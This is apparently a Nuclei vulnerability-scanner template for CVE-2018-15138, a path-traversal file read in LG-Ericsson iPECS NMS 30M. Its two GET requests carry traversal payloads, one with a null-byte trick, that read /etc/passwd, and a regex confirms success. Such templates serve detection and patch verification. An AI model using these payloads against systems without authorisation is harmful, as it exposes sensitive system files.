id: CVE-2018-15138

info:
  name: LG-Ericsson iPECS NMS 30M - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018080070
    - https://www.exploit-db.com/exploits/45167/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15138
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15138
    cwe-id: CWE-22
    epss-score: 0.5328
    epss-percentile: 0.98015
    cpe: cpe:2.3:a:ericssonlg:ipecs_nms:30m-2.3gn:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ericssonlg
    product: ipecs_nms
  tags: cve2018,cve,ericsson,lfi,traversal,edb,ericssonlg,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data"
      - "{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022024ccb6221202cc6c7565bc5ec5054164816b5f29c52237e49d9a0402fef430e80220261bbb4402ca842f9c00f55d5834605cea1a115f4ddef162e3c989cf47158242:922c64590222798bb761d5b6d8e72950